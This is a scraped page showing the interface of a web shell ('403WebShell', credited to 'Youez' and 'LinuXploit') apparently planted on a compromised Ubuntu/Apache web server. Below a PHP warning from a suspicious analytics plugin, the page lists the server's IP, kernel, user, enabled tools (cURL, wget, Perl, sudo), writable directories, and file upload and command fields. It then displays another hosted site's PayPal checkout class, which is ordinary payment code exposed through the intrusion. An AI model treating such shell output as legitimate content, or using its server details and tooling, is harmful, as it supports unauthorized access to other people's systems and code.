Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/storePaypal/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/storePaypal/model/class-paypal.php
<?php

class Class_Paypal {
	
	private $sandbox;
	private $clientid;
	private $clientsecret;
	
	private $currency = 'USD';
	private $orderid	 = 0;
	private $amount		 = 1.00;
	private $description = 'sample purchase';
	
	private $url_checkout;
	private $url_token;
	
	public function Sandbox() {
		if (func_num_args()) {
			$this->sandbox = func_get_arg(0);
			$base = $this->sandbox 
						? 'https://api-m.sandbox.paypal.com'
						: 'https://api-m.paypal.com';
			$this->url_checkout = "$base/v2/checkout/orders/";
			$this->url_token 	= "$base/v1/oauth2/token/";
			return $this;
		}
		return $this->sandbox;
	}

	public function ClientId() {
		if (func_num_args()) {
			$this->clientid = func_get_arg(0);
			return $this;
		}
		return $this->clientid;
	}

	public function ClientSecret() {
		if (func_num_args()) {
			$this->clientsecret = func_get_arg(0);
			return $this;
		}
		return $this->clientsecret;
	}

	// for the Order ==========================================
	public function Currency() {
		if (func_num_args()) {
			$this->currency = func_get_arg(0);
			return $this;
		}
		return $this->currency;
	}

	public function Amount() {
		if (func_num_args()) {
			$this->amount = func_get_arg(0);
			return $this;
		}
		return $this->amount;
	}

	public function Description() {
		if (func_num_args()) {
			$this->description = func_get_arg(0);
			return $this;
		}
		return $this->description;
	}

	public function OrderId() {		// our internal orderid
		if (func_num_args()) {
			$this->orderid = func_get_arg(0);
			return $this;
		}
		return $this->orderid;
	}

	// ========================================================

	protected function retrieveAccessToken() {
		$n = new CurlObject;
		$body = $n
			->URL($this->url_token)
			->PostData([
				'grant_type'	=> 'client_credentials',
			])
			->RequestHeader('Authorization', 'Basic ' . base64_encode($this->clientid . ':' . $this->clientsecret) )
			->Execute()
			->Body();
		$result = json_decode($body, TRUE);
		if (isset($result['access_token'])) {
			return $result['access_token'];
		}
		error_log($body);
		die("Unable to retrieve paypal access token");
	}
	
	public function CreateOrder() {
		$accessToken = $this->retrieveAccessToken();

		$payload = [
			'intent'	=> 'CAPTURE',
			'purchase_units' => [ [
				'amount' => [
					'value'			=> $this->amount,
					'currency_code'	=> $this->currency,
				],
				'description'	=> $this->description,
				'custom_id'		=> $this->orderid,				// our order id
				'reference_id'	=> Misc::uuid4(),				// we don't need to keep this
			] ],
		];

		$n = new CurlObject;
		$body = $n
			->URL($this->url_checkout)
			->postdataJson($payload)
			->RequestHeader('Authorization', 'Bearer ' . $accessToken)
			->Execute()
			->Body();
		$result = json_decode($body, TRUE);
		if (isset($result['id'])) {
			return $result;										// save info in the database, return the order_id
		}
		error_log($body);
		die("Unable to create paypal order");
	}
	
	/*
		{
		  "id": "8KC06653BK1506243",
		  "status": "CREATED",
		  "links": [
			{
			  "href": "https://api.sandbox.paypal.com/v2/checkout/orders/8KC06653BK1506243",
			  "rel": "self",
			  "method": "GET"
			},
			{
			  "href": "https://www.sandbox.paypal.com/checkoutnow?token=8KC06653BK1506243",
			  "rel": "approve",
			  "method": "GET"
			},
			{
			  "href": "https://api.sandbox.paypal.com/v2/checkout/orders/8KC06653BK1506243",
			  "rel": "update",
			  "method": "PATCH"
			},
			{
			  "href": "https://api.sandbox.paypal.com/v2/checkout/orders/8KC06653BK1506243/capture",
			  "rel": "capture",
			  "method": "POST"
			}
		  ]
		}
*/	
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit